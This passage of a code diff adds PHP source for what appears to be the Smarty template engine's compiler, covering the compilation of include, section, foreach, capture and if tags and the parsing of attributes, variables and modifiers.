+ $arg_value = $arg_value ? 'true' : 'false';
+ $arg_list[] = "'$arg_name' => $arg_value";
+ }
+
+ $output = '<?php ';
+
+ if (isset($assign_var)) {
+ $output .= "ob_start();\n";
+ }
+
+ $output .=
+ "\$_smarty_tpl_vars = \$this->_tpl_vars;\n";
+
+
+ $_params = "array('smarty_include_tpl_file' => " . $include_file . ", 'smarty_include_vars' => array(".implode(',', (array)$arg_list)."))";
+ $output .= "\$this->_smarty_include($_params);\n" .
+ "\$this->_tpl_vars = \$_smarty_tpl_vars;\n" .
+ "unset(\$_smarty_tpl_vars);\n";
+
+ if (isset($assign_var)) {
+ $output .= "\$this->assign(" . $assign_var . ", ob_get_contents()); ob_end_clean();\n";
+ }
+
+ $output .= ' ?>';
+
+ return $output;
+
+ }
+
+ /**
+ * Compile {include ...} tag
+ *
+ * @param string $tag_args
+ * @return string
+ */
+ function _compile_include_php_tag($tag_args)
+ {
+ $attrs = $this->_parse_attrs($tag_args);
+
+ if (empty($attrs['file'])) {
+ $this->_syntax_error("missing 'file' attribute in include_php tag", E_USER_ERROR, __FILE__, __LINE__);
+ }
+
+ $assign_var = (empty($attrs['assign'])) ? '' : $this->_dequote($attrs['assign']);
+ $once_var = (empty($attrs['once']) || $attrs['once']=='false') ? 'false' : 'true';
+
+ $arg_list = array();
+ foreach($attrs as $arg_name => $arg_value) {
+ if($arg_name != 'file' AND $arg_name != 'once' AND $arg_name != 'assign') {
+ if(is_bool($arg_value))
+ $arg_value = $arg_value ? 'true' : 'false';
+ $arg_list[] = "'$arg_name' => $arg_value";
+ }
+ }
+
+ $_params = "array('smarty_file' => " . $attrs['file'] . ", 'smarty_assign' => '$assign_var', 'smarty_once' => $once_var, 'smarty_include_vars' => array(".implode(',', $arg_list)."))";
+
+ return "<?php require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.smarty_include_php.php');\nsmarty_core_smarty_include_php($_params, \$this); ?>" . $this->_additional_newline;
+ }
+
+
+ /**
+ * Compile {section ...} tag
+ *
+ * @param string $tag_args
+ * @return string
+ */
+ function _compile_section_start($tag_args)
+ {
+ $attrs = $this->_parse_attrs($tag_args);
+ $arg_list = array();
+
+ $output = '<?php ';
+ $section_name = $attrs['name'];
+ if (empty($section_name)) {
+ $this->_syntax_error("missing section name", E_USER_ERROR, __FILE__, __LINE__);
+ }
+
+ $output .= "if (isset(\$this->_sections[$section_name])) unset(\$this->_sections[$section_name]);\n";
+ $section_props = "\$this->_sections[$section_name]";
+
+ foreach ($attrs as $attr_name => $attr_value) {
+ switch ($attr_name) {
+ case 'loop':
+ $output .= "{$section_props}['loop'] = is_array(\$_loop=$attr_value) ? count(\$_loop) : max(0, (int)\$_loop); unset(\$_loop);\n";
+ break;
+
+ case 'show':
+ if (is_bool($attr_value))
+ $show_attr_value = $attr_value ? 'true' : 'false';
+ else
+ $show_attr_value = "(bool)$attr_value";
+ $output .= "{$section_props}['show'] = $show_attr_value;\n";
+ break;
+
+ case 'name':
+ $output .= "{$section_props}['$attr_name'] = $attr_value;\n";
+ break;
+
+ case 'max':
+ case 'start':
+ $output .= "{$section_props}['$attr_name'] = (int)$attr_value;\n";
+ break;
+
+ case 'step':
+ $output .= "{$section_props}['$attr_name'] = ((int)$attr_value) == 0 ? 1 : (int)$attr_value;\n";
+ break;
+
+ default:
+ $this->_syntax_error("unknown section attribute - '$attr_name'", E_USER_ERROR, __FILE__, __LINE__);
+ break;
+ }
+ }
+
+ if (!isset($attrs['show']))
+ $output .= "{$section_props}['show'] = true;\n";
+
+ if (!isset($attrs['loop']))
+ $output .= "{$section_props}['loop'] = 1;\n";
+
+ if (!isset($attrs['max']))
+ $output .= "{$section_props}['max'] = {$section_props}['loop'];\n";
+ else
+ $output .= "if ({$section_props}['max'] < 0)\n" .
+ " {$section_props}['max'] = {$section_props}['loop'];\n";
+
+ if (!isset($attrs['step']))
+ $output .= "{$section_props}['step'] = 1;\n";
+
+ if (!isset($attrs['start']))
+ $output .= "{$section_props}['start'] = {$section_props}['step'] > 0 ? 0 : {$section_props}['loop']-1;\n";
+ else {
+ $output .= "if ({$section_props}['start'] < 0)\n" .
+ " {$section_props}['start'] = max({$section_props}['step'] > 0 ? 0 : -1, {$section_props}['loop'] + {$section_props}['start']);\n" .
+ "else\n" .
+ " {$section_props}['start'] = min({$section_props}['start'], {$section_props}['step'] > 0 ? {$section_props}['loop'] : {$section_props}['loop']-1);\n";
+ }
+
+ $output .= "if ({$section_props}['show']) {\n";
+ if (!isset($attrs['start']) && !isset($attrs['step']) && !isset($attrs['max'])) {
+ $output .= " {$section_props}['total'] = {$section_props}['loop'];\n";
+ } else {
+ $output .= " {$section_props}['total'] = min(ceil(({$section_props}['step'] > 0 ? {$section_props}['loop'] - {$section_props}['start'] : {$section_props}['start']+1)/abs({$section_props}['step'])), {$section_props}['max']);\n";
+ }
+ $output .= " if ({$section_props}['total'] == 0)\n" .
+ " {$section_props}['show'] = false;\n" .
+ "} else\n" .
+ " {$section_props}['total'] = 0;\n";
+
+ $output .= "if ({$section_props}['show']):\n";
+ $output .= "
+ for ({$section_props}['index'] = {$section_props}['start'], {$section_props}['iteration'] = 1;
+ {$section_props}['iteration'] <= {$section_props}['total'];
+ {$section_props}['index'] += {$section_props}['step'], {$section_props}['iteration']++):\n";
+ $output .= "{$section_props}['rownum'] = {$section_props}['iteration'];\n";
+ $output .= "{$section_props}['index_prev'] = {$section_props}['index'] - {$section_props}['step'];\n";
+ $output .= "{$section_props}['index_next'] = {$section_props}['index'] + {$section_props}['step'];\n";
+ $output .= "{$section_props}['first'] = ({$section_props}['iteration'] == 1);\n";
+ $output .= "{$section_props}['last'] = ({$section_props}['iteration'] == {$section_props}['total']);\n";
+
+ $output .= "?>";
+
+ return $output;
+ }
+
+
+ /**
+ * Compile {foreach ...} tag.
+ *
+ * @param string $tag_args
+ * @return string
+ */
+ function _compile_foreach_start($tag_args)
+ {
+ $attrs = $this->_parse_attrs($tag_args);
+ $arg_list = array();
+
+ if (empty($attrs['from'])) {
+ $this->_syntax_error("missing 'from' attribute", E_USER_ERROR, __FILE__, __LINE__);
+ }
+
+ if (empty($attrs['item'])) {
+ $this->_syntax_error("missing 'item' attribute", E_USER_ERROR, __FILE__, __LINE__);
+ }
+
+ $from = $attrs['from'];
+ $item = $this->_dequote($attrs['item']);
+ if (isset($attrs['name']))
+ $name = $attrs['name'];
+
+ $output = '<?php ';
+ if (isset($name)) {
+ $output .= "if (isset(\$this->_foreach[$name])) unset(\$this->_foreach[$name]);\n";
+ $foreach_props = "\$this->_foreach[$name]";
+ }
+
+ $key_part = '';
+
+ foreach ($attrs as $attr_name => $attr_value) {
+ switch ($attr_name) {
+ case 'key':
+ $key = $this->_dequote($attrs['key']);
+ $key_part = "\$this->_tpl_vars['$key'] => ";
+ break;
+
+ case 'name':
+ $output .= "{$foreach_props}['$attr_name'] = $attr_value;\n";
+ break;
+ }
+ }
+
+ if (isset($name)) {
+ $output .= "{$foreach_props}['total'] = count(\$_from = (array)$from);\n";
+ $output .= "{$foreach_props}['show'] = {$foreach_props}['total'] > 0;\n";
+ $output .= "if ({$foreach_props}['show']):\n";
+ $output .= "{$foreach_props}['iteration'] = 0;\n";
+ $output .= " foreach (\$_from as $key_part\$this->_tpl_vars['$item']):\n";
+ $output .= " {$foreach_props}['iteration']++;\n";
+ $output .= " {$foreach_props}['first'] = ({$foreach_props}['iteration'] == 1);\n";
+ $output .= " {$foreach_props}['last'] = ({$foreach_props}['iteration'] == {$foreach_props}['total']);\n";
+ } else {
+ $output .= "if (count(\$_from = (array)$from)):\n";
+ $output .= " foreach (\$_from as $key_part\$this->_tpl_vars['$item']):\n";
+ }
+ $output .= '?>';
+
+ return $output;
+ }
+
+
+ /**
+ * Compile {capture} .. {/capture} tags
+ *
+ * @param boolean $start true if this is the {capture} tag
+ * @param string $tag_args
+ * @return string
+ */
+
+ function _compile_capture_tag($start, $tag_args = '')
+ {
+ $attrs = $this->_parse_attrs($tag_args);
+
+ if ($start) {
+ if (isset($attrs['name']))
+ $buffer = $attrs['name'];
+ else
+ $buffer = "'default'";
+
+ if (isset($attrs['assign']))
+ $assign = $attrs['assign'];
+ else
+ $assign = null;
+ $output = "<?php ob_start(); ?>";
+ $this->_capture_stack[] = array($buffer, $assign);
+ } else {
+ list($buffer, $assign) = array_pop($this->_capture_stack);
+ $output = "<?php \$this->_smarty_vars['capture'][$buffer] = ob_get_contents(); ";
+ if (isset($assign)) {
+ $output .= " \$this->assign($assign, ob_get_contents());";
+ }
+ $output .= "ob_end_clean(); ?>";
+ }
+
+ return $output;
+ }
+
+ /**
+ * Compile {if ...} tag
+ *
+ * @param string $tag_args
+ * @param boolean $elseif if true, uses elseif instead of if
+ * @return string
+ */
+ function _compile_if_tag($tag_args, $elseif = false)
+ {
+
+ /* Tokenize args for 'if' tag. */
+ preg_match_all('/(?>
+ ' . $this->_obj_call_regexp . '(?:' . $this->_mod_regexp . '*)? | # valid object call
+ ' . $this->_var_regexp . '(?:' . $this->_mod_regexp . '*)? | # var or quoted string
+ \-?0[xX][0-9a-fA-F]+|\-?\d+(?:\.\d+)?|\.\d+|!==|===|==|!=|<>|<<|>>|<=|>=|\&\&|\|\||\(|\)|,|\!|\^|=|\&|\~|<|>|\||\%|\+|\-|\/|\*|\@ | # valid non-word token
+ \b\w+\b | # valid word token
+ \S+ # anything else
+ )/x', $tag_args, $match);
+
+ $tokens = $match[0];
+
+ // make sure we have balanced parenthesis
+ $token_count = array_count_values($tokens);
+ if(isset($token_count['(']) && $token_count['('] != $token_count[')']) {
+ $this->_syntax_error("unbalanced parenthesis in if statement", E_USER_ERROR, __FILE__, __LINE__);
+ }
+
+ $is_arg_stack = array();
+
+ for ($i = 0; $i < count($tokens); $i++) {
+
+ $token = &$tokens[$i];
+
+ switch (strtolower($token)) {
+ case '!':
+ case '%':
+ case '!==':
+ case '==':
+ case '===':
+ case '>':
+ case '<':
+ case '!=':
+ case '<>':
+ case '<<':
+ case '>>':
+ case '<=':
+ case '>=':
+ case '&&':
+ case '||':
+ case '|':
+ case '^':
+ case '&':
+ case '~':
+ case ')':
+ case ',':
+ case '+':
+ case '-':
+ case '*':
+ case '/':
+ case '@':
+ break;
+
+ case 'eq':
+ $token = '==';
+ break;
+
+ case 'ne':
+ case 'neq':
+ $token = '!=';
+ break;
+
+ case 'lt':
+ $token = '<';
+ break;
+
+ case 'le':
+ case 'lte':
+ $token = '<=';
+ break;
+
+ case 'gt':
+ $token = '>';
+ break;
+
+ case 'ge':
+ case 'gte':
+ $token = '>=';
+ break;
+
+ case 'and':
+ $token = '&&';
+ break;
+
+ case 'or':
+ $token = '||';
+ break;
+
+ case 'not':
+ $token = '!';
+ break;
+
+ case 'mod':
+ $token = '%';
+ break;
+
+ case '(':
+ array_push($is_arg_stack, $i);
+ break;
+
+ case 'is':
+ /* If last token was a ')', we operate on the parenthesized
+ expression. The start of the expression is on the stack.
+ Otherwise, we operate on the last encountered token. */
+ if ($tokens[$i-1] == ')')
+ $is_arg_start = array_pop($is_arg_stack);
+ else
+ $is_arg_start = $i-1;
+ /* Construct the argument for 'is' expression, so it knows
+ what to operate on. */
+ $is_arg = implode(' ', array_slice($tokens, $is_arg_start, $i - $is_arg_start));
+
+ /* Pass all tokens from next one until the end to the
+ 'is' expression parsing function. The function will
+ return modified tokens, where the first one is the result
+ of the 'is' expression and the rest are the tokens it
+ didn't touch. */
+ $new_tokens = $this->_parse_is_expr($is_arg, array_slice($tokens, $i+1));
+
+ /* Replace the old tokens with the new ones. */
+ array_splice($tokens, $is_arg_start, count($tokens), $new_tokens);
+
+ /* Adjust argument start so that it won't change from the
+ current position for the next iteration. */
+ $i = $is_arg_start;
+ break;
+
+ default:
+ if(preg_match('!^' . $this->_func_regexp . '$!', $token) ) {
+ // function call
+ if($this->security &&
+ !in_array($token, $this->security_settings['IF_FUNCS'])) {
+ $this->_syntax_error("(secure mode) '$token' not allowed in if statement", E_USER_ERROR, __FILE__, __LINE__);
+ }
+ } elseif(preg_match('!^' . $this->_obj_call_regexp . '|' . $this->_var_regexp . '(?:' . $this->_mod_regexp . '*)$!', $token)) {
+ // object or variable
+ $token = $this->_parse_var_props($token);
+ } elseif(is_numeric($token)) {
+ // number, skip it
+ } else {
+ $this->_syntax_error("unidentified token '$token'", E_USER_ERROR, __FILE__, __LINE__);
+ }
+ break;
+ }
+ }
+
+ if ($elseif)
+ return '<?php elseif ('.implode(' ', $tokens).'): ?>';
+ else
+ return '<?php if ('.implode(' ', $tokens).'): ?>';
+ }
+
+
+ function _compile_arg_list($type, $name, $attrs, &$cache_code) {
+ $arg_list = array();
+
+ if (isset($type) && isset($name)
+ && isset($this->_plugins[$type])
+ && isset($this->_plugins[$type][$name])
+ && empty($this->_plugins[$type][$name][4])
+ && is_array($this->_plugins[$type][$name][5])
+ ) {
+ /* we have a list of parameters that should be cached */
+ $_cache_attrs = $this->_plugins[$type][$name][5];
+ $_count = $this->_cache_attrs_count++;
+ $cache_code = "\$_cache_attrs =& \$this->_smarty_cache_attrs('$this->_cache_serial','$_count');";
+
+ } else {
+ /* no parameters are cached */
+ $_cache_attrs = null;
+ }
+
+ foreach ($attrs as $arg_name => $arg_value) {
+ if (is_bool($arg_value))
+ $arg_value = $arg_value ? 'true' : 'false';
+ if (is_null($arg_value))
+ $arg_value = 'null';
+ if ($_cache_attrs && in_array($arg_name, $_cache_attrs)) {
+ $arg_list[] = "'$arg_name' => (\$this->_cache_including) ? \$_cache_attrs['$arg_name'] : (\$_cache_attrs['$arg_name']=$arg_value)";
+ } else {
+ $arg_list[] = "'$arg_name' => $arg_value";
+ }
+ }
+ return $arg_list;
+ }
+
+ /**
+ * Parse is expression
+ *
+ * @param string $is_arg
+ * @param array $tokens
+ * @return array
+ */
+ function _parse_is_expr($is_arg, $tokens)
+ {
+ $expr_end = 0;
+ $negate_expr = false;
+
+ if (($first_token = array_shift($tokens)) == 'not') {
+ $negate_expr = true;
+ $expr_type = array_shift($tokens);
+ } else
+ $expr_type = $first_token;
+
+ switch ($expr_type) {
+ case 'even':
+ if (isset($tokens[$expr_end]) && $tokens[$expr_end] == 'by') {
+ $expr_end++;
+ $expr_arg = $tokens[$expr_end++];
+ $expr = "!(1 & ($is_arg / " . $this->_parse_var_props($expr_arg) . "))";
+ } else
+ $expr = "!(1 & $is_arg)";
+ break;
+
+ case 'odd':
+ if (isset($tokens[$expr_end]) && $tokens[$expr_end] == 'by') {
+ $expr_end++;
+ $expr_arg = $tokens[$expr_end++];
+ $expr = "(1 & ($is_arg / " . $this->_parse_var_props($expr_arg) . "))";
+ } else
+ $expr = "(1 & $is_arg)";
+ break;
+
+ case 'div':
+ if (@$tokens[$expr_end] == 'by') {
+ $expr_end++;
+ $expr_arg = $tokens[$expr_end++];
+ $expr = "!($is_arg % " . $this->_parse_var_props($expr_arg) . ")";
+ } else {
+ $this->_syntax_error("expecting 'by' after 'div'", E_USER_ERROR, __FILE__, __LINE__);
+ }
+ break;
+
+ default:
+ $this->_syntax_error("unknown 'is' expression - '$expr_type'", E_USER_ERROR, __FILE__, __LINE__);
+ break;
+ }
+
+ if ($negate_expr) {
+ $expr = "!($expr)";
+ }
+
+ array_splice($tokens, 0, $expr_end, $expr);
+
+ return $tokens;
+ }
+
+
+ /**
+ * Parse attribute string
+ *
+ * @param string $tag_args
+ * @return array
+ */
+ function _parse_attrs($tag_args)
+ {
+
+ /* Tokenize tag attributes. */
+ preg_match_all('/(?:' . $this->_obj_call_regexp . '|' . $this->_qstr_regexp . ' | (?>[^"\'=\s]+)
+ )+ |
+ [=]
+ /x', $tag_args, $match);
+ $tokens = $match[0];
+
+ $attrs = array();
+ /* Parse state:
+ 0 - expecting attribute name
+ 1 - expecting '='
+ 2 - expecting attribute value (not '=') */
+ $state = 0;
+
+ foreach ($tokens as $token) {
+ switch ($state) {
+ case 0:
+ /* If the token is a valid identifier, we set attribute name
+ and go to state 1. */
+ if (preg_match('!^\w+$!', $token)) {
+ $attr_name = $token;
+ $state = 1;
+ } else
+ $this->_syntax_error("invalid attribute name: '$token'", E_USER_ERROR, __FILE__, __LINE__);
+ break;
+
+ case 1:
+ /* If the token is '=', then we go to state 2. */
+ if ($token == '=') {
+ $state = 2;
+ } else
+ $this->_syntax_error("expecting '=' after attribute name '$last_token'", E_USER_ERROR, __FILE__, __LINE__);
+ break;
+
+ case 2:
+ /* If token is not '=', we set the attribute value and go to
+ state 0. */
+ if ($token != '=') {
+ /* We booleanize the token if it's a non-quoted possible
+ boolean value. */
+ if (preg_match('!^(on|yes|true)$!', $token)) {
+ $token = 'true';
+ } else if (preg_match('!^(off|no|false)$!', $token)) {
+ $token = 'false';
+ } else if ($token == 'null') {
+ $token = 'null';
+ } else if (preg_match('!^-?([0-9]+|0[xX][0-9a-fA-F]+)$!', $token)) {
+ /* treat integer literally */
+ } else if (!preg_match('!^' . $this->_obj_call_regexp . '|' . $this->_var_regexp . '(?:' . $this->_mod_regexp . ')*$!', $token)) {
+ /* treat as a string, double-quote it escaping quotes */
+ $token = '"'.addslashes($token).'"';
+ }
+
+ $attrs[$attr_name] = $token;
+ $state = 0;
+ } else
+ $this->_syntax_error("'=' cannot be an attribute value", E_USER_ERROR, __FILE__, __LINE__);
+ break;
+ }
+ $last_token = $token;
+ }
+
+ if($state != 0) {
+ if($state == 1) {
+ $this->_syntax_error("expecting '=' after attribute name '$last_token'", E_USER_ERROR, __FILE__, __LINE__);
+ } else {
+ $this->_syntax_error("missing attribute value", E_USER_ERROR, __FILE__, __LINE__);
+ }
+ }
+
+ $this->_parse_vars_props($attrs);
+
+ return $attrs;
+ }
+
+ /**
+ * compile multiple variables and section properties tokens into
+ * PHP code
+ *
+ * @param array $tokens
+ */
+ function _parse_vars_props(&$tokens)
+ {
+ foreach($tokens as $key => $val) {
+ $tokens[$key] = $this->_parse_var_props($val);
+ }
+ }
+
+ /**
+ * compile single variable and section properties token into
+ * PHP code
+ *
+ * @param string $val
+ * @param string $tag_attrs
+ * @return string
+ */
+ function _parse_var_props($val)
+ {
+ $val = trim($val);
+
+ if(preg_match('!^(' . $this->_obj_call_regexp . '|' . $this->_dvar_regexp . ')(' . $this->_mod_regexp . '*)$!', $val, $match)) {
+ // $ variable or object
+ $return = $this->_parse_var($match[1]);
+ $modifiers = $match[2];
+ if (!empty($this->default_modifiers) && !preg_match('!(^|\|)smarty:nodefaults($|\|)!',$modifiers)) {
+ $_default_mod_string = implode('|',(array)$this->default_modifiers);
+ $modifiers = empty($modifiers) ? $_default_mod_string : $_default_mod_string . '|' . $modifiers;
+ }
+ $this->_parse_modifiers($return, $modifiers);
+ return $return;
+ } elseif (preg_match('!^' . $this->_db_qstr_regexp . '(?:' . $this->_mod_regexp . '*)$!', $val)) {
+ // double quoted text
+ preg_match('!^(' . $this->_db_qstr_regexp . ')('. $this->_mod_regexp . '*)$!', $val, $match);
+ $return = $this->_expand_quoted_text($match[1]);
+ if($match[2] != '') {
+ $this->_parse_modifiers($return, $match[2]);
+ }
+ return $return;
+ }
+ elseif(preg_match('!^' . $this->_si_qstr_regexp . '(?:' . $this->_mod_regexp . '*)$!', $val)) {
+ // single quoted text
+ preg_match('!^(' . $this->_si_qstr_regexp . ')('. $this->_mod_regexp . '*)$!', $val, $match);
+ if($match[2] != '') {
+ $this->_parse_modifiers($match[1], $match[2]);
+ return $match[1];
+ }
+ }
+ elseif(preg_match('!^' . $this->_cvar_regexp . '(?:' . $this->_mod_regexp . '*)$!', $val)) {
+ // config var
+ return $this->_parse_conf_var($val);
+ }
+ elseif(preg_match('!^' . $this->_svar_regexp . '(?:' . $this->_mod_regexp . '*)$!', $val)) {
+ // section var
+ return $this->_parse_section_prop($val);
+ }
+ elseif(!in_array($val, $this->_permitted_tokens) && !is_numeric($val)) {
+ // literal string
+ return $this->_expand_quoted_text('"' . $val .'"');
+ }
+ return $val;
+ }
+
+ /**
+ * expand quoted text with embedded variables
+ *
+ * @param string $var_expr
+ * @return string
+ */
+ function _expand_quoted_text($var_expr)
+ {
+ // if contains unescaped $, expand it
+ if(preg_match_all('%(?:\`(?<!\\\\)\$' . $this->_dvar_guts_regexp . '\`)|(?:(?<!\\\\)\$\w+(\[[a-zA-Z0-9]+\])*)%', $var_expr, $_match)) {
+ $_match = $_match[0];
+ rsort($_match);
+ reset($_match);
+ foreach($_match as $_var) {
+ $var_expr = str_replace ($_var, '".(' . $this->_parse_var(str_replace('`','',$_var)) . ')."', $var_expr);
+ }
+ $_return = preg_replace('%\.""|(?<!\\\\)""\.%', '', $var_expr);
+ } else {
+ $_return = $var_expr;
+ }
+ // replace double quoted literal string with single quotes
+ $_return = preg_replace('!^"([\s\w]+)"$!',"'\\1'",$_return);
+ return $_return;
+ }
+
+ /**
+ * parse variable expression into PHP code
+ *
+ * @param string $var_expr
+ * @param string $output
+ * @return string
+ */
+ function _parse_var($var_expr)
+ {
+ $_has_math = false;
+ $_math_vars = preg_split('!('.$this->_dvar_math_regexp.'|'.$this->_qstr_regexp.')!', $var_expr, -1, PREG_SPLIT_DELIM_CAPTURE);
+
+ if(count($_math_vars) > 1) {
+ $_first_var = "";
+ $_complete_var = "";
+ $_output = "";
+ // simple check if there is any math, to stop recursion (due to modifiers with "xx % yy" as parameter)
+ foreach($_math_vars as $_k => $_math_var) {
+ $_math_var = $_math_vars[$_k];
+
+ if(!empty($_math_var) || is_numeric($_math_var)) {
+ // hit a math operator, so process the stuff which came before it
+ if(preg_match('!^' . $this->_dvar_math_regexp . '$!', $_math_var)) {
+ $_has_math = true;
+ if(!empty($_complete_var) || is_numeric($_complete_var)) {
+ $_output .= $this->_parse_var($_complete_var);
+ }
+
+ // just output the math operator to php
+ $_output .= $_math_var;
+
+ if(empty($_first_var))
+ $_first_var = $_complete_var;
+
+ $_complete_var = "";
+ } else {
+ // fetch multiple -> (like $foo->bar->baz ) which wouldn't get fetched else, because it would only get $foo->bar and treat the ->baz as "-" ">baz" then
+ for($_i = $_k + 1; $_i <= count($_math_vars); $_i += 2) {
+ // fetch -> because it gets splitted at - and move it back together
+ if( /* prevent notice */ (isset($_math_vars[$_i]) && isset($_math_vars[$_i+1])) && ($_math_vars[$_i] === '-' && $_math_vars[$_i+1]{0} === '>')) {
+ $_math_var .= $_math_vars[$_i].$_math_vars[$_i+1];
+ $_math_vars[$_i] = $_math_vars[$_i+1] = '';
+ } else {
+ break;
+ }
+ }
+ $_complete_var .= $_math_var;
+ }
+ }
+ }
+ if($_has_math) {
+ if(!empty($_complete_var) || is_numeric($_complete_var))
+ $_output .= $this->_parse_var($_complete_var, true);
+
+ // get the modifiers working (only the last var from math + modifier is left)
+ $var_expr = $_complete_var;
+ }
+ }
+
+ // prevent cutting of first digit in the number (we _definitly_ got a number if the first char is a digit)
+ if(is_numeric($var_expr{0}))
+ $_var_ref = $var_expr;
+ else
+ $_var_ref = substr($var_expr, 1);
+
+ if(!$_has_math) {
+ // get [foo] and .foo and ->foo and (...) pieces
+ preg_match_all('!(?:^\w+)|' . $this->_obj_params_regexp . '|(?:' . $this->_var_bracket_regexp . ')|->\$?\w+|\.\$?\w+|\S+!', $_var_ref, $match);
+
+ $_indexes = $match[0];
+ $_var_name = array_shift($_indexes);
+
+ /* Handle $smarty.* variable references as a special case. */
+ if ($_var_name == 'smarty') {
+ /*
+ * If the reference could be compiled, use the compiled output;
+ * otherwise, fall back on the $smarty variable generated at
+ * run-time.
+ */
+ if (($smarty_ref = $this->_compile_smarty_ref($_indexes)) !== null) {
+ $_output = $smarty_ref;
+ } else {
+ $_var_name = substr(array_shift($_indexes), 1);
+ $_output = "\$this->_smarty_vars['$_var_name']";
+ }
+ } elseif(is_numeric($_var_name) && is_numeric($var_expr{0})) {
+ // because . is the operator for accessing arrays thru inidizes we need to put it together again for floating point numbers
+ if(count($_indexes) > 0)
+ {
+ $_var_name .= implode("", $_indexes);
+ $_indexes = array();
+ }
+ $_output = $_var_name;
+ } else {
+ $_output = "\$this->_tpl_vars['$_var_name']";
+ }
+
+ foreach ($_indexes as $_index) {
+ if ($_index{0} == '[') {
+ $_index = substr($_index, 1, -1);
+ if (is_numeric($_index)) {
+ $_output .= "[$_index]";
+ } elseif ($_index{0} == '$') {
+ if (strpos($_index, '.') !== false) {
+ $_output .= '[' . $this->_parse_var($_index) . ']';
+ } else {
+ $_output .= "[\$this->_tpl_vars['" . substr($_index, 1) . "']]";
+ }
+ } else {
+ $_var_parts = explode('.', $_index);
+ $_var_section = $_var_parts[0];
+ $_var_section_prop = isset($_var_parts[1]) ? $_var_parts[1] : 'index';
+ $_output .= "[\$this->_sections['$_var_section']['$_var_section_prop']]";
+ }
+ } else if ($_index{0} == '.') {
+ if ($_index{1} == '$')
+ $_output .= "[\$this->_tpl_vars['" . substr($_index, 2) . "']]";
+ else
+ $_output .= "['" . substr($_index, 1) . "']";
+ } else if (substr($_index,0,2) == '->') {
+ if(substr($_index,2,2) == '__') {
+ $this->_syntax_error('call to internal object members is not allowed', E_USER_ERROR, __FILE__, __LINE__);
+ } elseif($this->security && substr($_index, 2, 1) == '_') {
+ $this->_syntax_error('(secure) call to private object member is not allowed', E_USER_ERROR, __FILE__, __LINE__);
+ } elseif ($_index{2} == '$') {
+ if ($this->security) {
+ $this->_syntax_error('(secure) call to dynamic object member is not allowed', E_USER_ERROR, __FILE__, __LINE__);
+ } else {
+ $_output .= '->{(($_var=$this->_tpl_vars[\''.substr($_index,3).'\']) && substr($_var,0,2)!=\'__\') ? $_var : $this->trigger_error("cannot access property \\"$_var\\"")}';
+ }
+ } else {
+ $_output .= $_index;
+ }
+ } elseif ($_index{0} == '(') {
+ $_index = $this->_parse_parenth_args($_index);
+ $_output .= $_index;
+ } else {
+ $_output .= $_index;
+ }
+ }
+ }
+
+ return $_output;
+ }
+
+ /**
+ * parse arguments in function call parenthesis
+ *
+ * @param string $parenth_args
+ * @return string
+ */
+ function _parse_parenth_args($parenth_args)
+ {
+ preg_match_all('!' . $this->_param_regexp . '!',$parenth_args, $match);
+ $match = $match[0];
+ rsort($match);
+ reset($match);
+ $orig_vals = $match;
+ $this->_parse_vars_props($match);
+ return str_replace($orig_vals, $match, $parenth_args);
+ }
+
+ /**
+ * parse configuration variable expression into PHP code
+ *
+ * @param string $conf_var_expr
+ */
+ function _parse_conf_var($conf_var_expr)
+ {
+ $parts = explode('|', $conf_var_expr, 2);
+ $var_ref = $parts[0];
+ $modifiers = isset($parts[1]) ? $parts[1] : '';
+
+ $var_name = substr($var_ref, 1, -1);
+
+ $output = "\$this->_config[0]['vars']['$var_name']";
+
+ $this->_parse_modifiers($output, $modifiers);
+
+ return $output;
+ }
+
+ /**
+ * parse section property expression into PHP code
+ *
+ * @param string $section_prop_expr
+ * @return string
+ */
+ function _parse_section_prop($section_prop_expr)
+ {
+ $parts = explode('|', $section_prop_expr, 2);
+ $var_ref = $parts[0];
+ $modifiers = isset($parts[1]) ? $parts[1] : '';
+
+ preg_match('!%(\w+)\.(\w+)%!', $var_ref, $match);
+ $section_name = $match[1];
+ $prop_name = $match[2];
+
+ $output = "\$this->_sections['$section_name']['$prop_name']";
+
+ $this->_parse_modifiers($output, $modifiers);
+
+ return $output;
+ }
+
+
+ /**
+ * parse modifier chain into PHP code
+ *
+ * sets $output to parsed modified chain
+ * @param string $output
+ * @param string $modifier_string
+ */
+ function _parse_modifiers(&$output, $modifier_string)
+ {
+ preg_match_all('!\|(@?\w+)((?>:(?:'. $this->_qstr_regexp . '|[^|]+))*)!', '|' . $modifier_string, $_match);
+ list(, $_modifiers, $modifier_arg_strings) = $_match;
+
+ for ($_i = 0, $_for_max = count($_modifiers); $_i < $_for_max; $_i++) {
+ $_modifier_name = $_modifiers[$_i];
+
+ if($_modifier_name == 'smarty') {
+ // skip smarty modifier
+ continue;
+ }
+
+ preg_match_all('!:(' . $this->_qstr_regexp . '|[^:]+)!', $modifier_arg_strings[$_i], $_match);
+ $_modifier_args = $_match[1];
+
+ if ($_modifier_name{0} == '@') {
+ $_map_array = false;
+ $_modifier_name = substr($_modifier_name, 1);
+ } else {
+ $_map_array = true;
+ }
+
+ if (empty($this->_plugins['modifier'][$_modifier_name])
+ && !$this->_get_plugin_filepath('modifier', $_modifier_name)
+ && function_exists($_modifier_name)) {
+ if ($this->security && !in_array($_modifier_name, $this->security_settings['MODIFIER_FUNCS'])) {
+ $this->_trigger_fatal_error("[plugin] (secure mode) modifier '$_modifier_name' is not allowed" , $this->_current_file, $this->_current_line_no, __FILE__, __LINE__);
+ } else {
+ $this->_plugins['modifier'][$_modifier_name] = array($_modifier_name, null, null, false);
+ }
+ }
+ $this->_add_plugin('modifier', $_modifier_name);
+
+ $this->_parse_vars_props($_modifier_args);
+
+ if($_modifier_name == 'default') {
+ // supress notifications of default modifier vars and args
+ if($output{0} == '$') {
+ $output = '@' . $output;
+ }
+ if(isset($_modifier_args[0]) && $_modifier_args[0]{0} == '$') {
+ $_modifier_args[0] = '@' . $_modifier_args[0];
+ }
+ }
+ if (count($_modifier_args) > 0)
+ $_modifier_args = ', '.implode(', ', $_modifier_args);
+ else
+ $_modifier_args = '';
+
+ if ($_map_array) {
+ $output = "((is_array(\$_tmp=$output)) ? \$this->_run_mod_handler('$_modifier_name', true, \$_tmp$_modifier_args) : " . $this->_compile_plugin_call('modifier', $_modifier_name) . "(\$_tmp$_modifier_args))";
+
+ } else {
+
+ $output = $this->_compile_plugin_call('modifier', $_modifier_name)."($output$_modifier_args)";
+
+ }
+ }
+ }
+
+
+ /**
+ * add plugin
+ *
+ * @param string $type
+ * @param string $name
+ * @param boolean? $delayed_loading
+ */
+ function _add_plugin($type, $name, $delayed_loading = null)
+ {
+ if (!isset($this->_plugin_info[$type])) {
